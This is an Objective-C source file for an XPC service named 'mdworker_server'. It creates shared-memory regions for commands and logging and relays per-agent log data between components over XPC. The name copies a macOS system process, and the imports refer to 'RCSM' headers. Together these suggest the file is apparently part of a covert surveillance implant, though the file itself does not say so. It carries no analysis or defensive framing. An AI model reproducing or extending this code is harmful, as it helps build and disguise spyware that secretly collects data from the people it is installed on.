// // main.c // mdworker_server // // Created by kiodo on 24/10/11. // Copyright 2011 __MyCompanyName__. All rights reserved. // #import #import #import #import #import "RCSMCommon.h" #import "RCSMSharedMemory.h" //#define DEBUG_XPC int gMemLogMaxSize = 0x302460; int gMemCommandMaxSize = 0x4000; __m_MSharedMemory *gSharedMemoryCommand = nil; __m_MSharedMemory *gSharedMemoryLogging = nil; static void killingService() { #ifdef DEBUG_XPC NSLog(@"%s: killing xpc service", __FUNCTION__); #endif if (gSharedMemoryCommand) { [gSharedMemoryCommand detachFromMemoryRegion]; [gSharedMemoryCommand release]; gSharedMemoryCommand = nil; } if (gSharedMemoryLogging) { [gSharedMemoryLogging detachFromMemoryRegion]; [gSharedMemoryLogging release]; gSharedMemoryLogging = nil; } } static BOOL initSharedMemory() { // // Initialize and attach to our Shared Memory regions // key_t memKeyForCommand = ftok([NSHomeDirectory() UTF8String], 3); key_t memKeyForLogging = ftok([NSHomeDirectory() UTF8String], 5); gMemLogMaxSize = sizeof(shMemoryLog) * SHMEM_LOG_MAX_NUM_BLOCKS; gSharedMemoryCommand = [[__m_MSharedMemory alloc] initWithKey: memKeyForCommand size: gMemCommandMaxSize semaphoreName: SHMEM_SEM_NAME]; if (gSharedMemoryCommand && [gSharedMemoryCommand createMemoryRegion] == -1) { #ifdef DEBUG_XPC NSLog(@"%s: Error while creating shared memory for commands", __func__); #endif [gSharedMemoryCommand release]; return NO; } gSharedMemoryLogging = [[__m_MSharedMemory alloc] initWithKey: memKeyForLogging size: gMemLogMaxSize semaphoreName: SHMEM_SEM_NAME]; if (gSharedMemoryLogging && [gSharedMemoryLogging createMemoryRegion] == -1) { #ifdef DEBUG_XPC NSLog(@"%s: Error while creating shared memory for logging", __FUNCTION__); #endif [gSharedMemoryCommand release]; [gSharedMemoryLogging release]; return NO; } // // Now it's safe to attach // [gSharedMemoryCommand attachToMemoryRegion]; [gSharedMemoryLogging attachToMemoryRegion]; return YES; } static void mdworker_server_peer_event_handler(xpc_connection_t peer, xpc_object_t event) { NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init]; xpc_object_t reply = NULL; xpc_type_t type = xpc_get_type(event); shMemoryCommand nullCmd; memset(&nullCmd, 0, sizeof(nullCmd)); if (type == XPC_TYPE_ERROR) { if (event == XPC_ERROR_CONNECTION_INVALID) { } else if (event == XPC_ERROR_TERMINATION_IMMINENT) { } } else if (type == XPC_TYPE_DICTIONARY) { int64_t cmd = xpc_dictionary_get_int64(event, "command"); switch (cmd) { // Read from shared mem case READ_XPC_CMD: { uint32 anOffset = (uint32)xpc_dictionary_get_int64(event, "offset"); uint32 aComponent = (uint32)xpc_dictionary_get_int64(event, "component"); NSMutableData *replyData = [gSharedMemoryCommand readMemory:anOffset fromComponent:aComponent]; if (replyData == nil || (replyData && [replyData length] == 0)) replyData = [NSMutableData dataWithBytes: &nullCmd length: sizeof(nullCmd)]; reply = xpc_dictionary_create_reply(event); xpc_object_t data = xpc_data_create([replyData bytes], [replyData length]); if (reply != NULL && data != NULL) xpc_dictionary_set_value(reply, "data", data); else { if (reply) { xpc_release(reply); reply = NULL; } } } break; case READ_XPC_COMP_CMD: { uint32 aComponent = (uint32)xpc_dictionary_get_int64(event, "component"); uint32 anAgentID = (uint32)xpc_dictionary_get_int64(event, "agent"); uint32 aCommandType = (uint32)xpc_dictionary_get_int64(event, "type"); NSMutableData *replyData = [gSharedMemoryLogging readMemoryFromComponent: aComponent forAgent: anAgentID withCommandType: aCommandType]; if (replyData == nil || (replyData && [replyData length] == 0)) replyData = [NSMutableData dataWithBytes: &nullCmd length: sizeof(nullCmd)]; reply = xpc_dictionary_create_reply(event); xpc_object_t data = xpc_data_create([replyData bytes], [replyData length]); if (reply != NULL && data != NULL) xpc_dictionary_set_value(reply, "data", data); else { if (reply) { xpc_release(reply); reply = NULL; } } } break; // Write to shared mem case WRITE_XPC_CMD: { size_t len = 0; BOOL ret = FALSE; uint32 anOffset = (uint32)xpc_dictionary_get_int64(event, "offset"); uint32 aComponent = (uint32)xpc_dictionary_get_int64(event, "component"); void *dataBytes = (void*)xpc_dictionary_get_data(event, "data", &len); if (dataBytes != NULL && len) { NSData *aData = [NSData dataWithBytes: dataBytes length: len]; ret = [gSharedMemoryLogging writeMemory:aData offset:anOffset fromComponent:aComponent]; } reply = xpc_dictionary_create_reply(event); xpc_object_t data = xpc_data_create(&ret, sizeof(ret)); if (reply != NULL && data != NULL) { xpc_dictionary_set_value(reply, "data", data); } else { if (reply) { xpc_release(reply); reply = NULL; } } } break; } if (reply != NULL && peer != NULL) { xpc_connection_send_message(peer, reply); xpc_release(reply); } } [pool release]; } static void mdworker_server_event_handler(xpc_connection_t peer) { xpc_connection_set_event_handler(peer, ^(xpc_object_t event) { mdworker_server_peer_event_handler(peer, event); }); xpc_connection_resume(peer); } int main(int argc, const char *argv[]) { NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init]; #ifdef DEBUG_XPC NSLog(@"%s: enter xpc service", __FUNCTION__); #endif // deallocating shared... signal(SIGTERM, killingService); if (initSharedMemory() == NO) { #ifdef DEBUG_XPC NSLog(@"%s:error creating shared mem", __func__); #endif [pool release]; return 0; } xpc_main(mdworker_server_event_handler); [pool release]; return 0; } .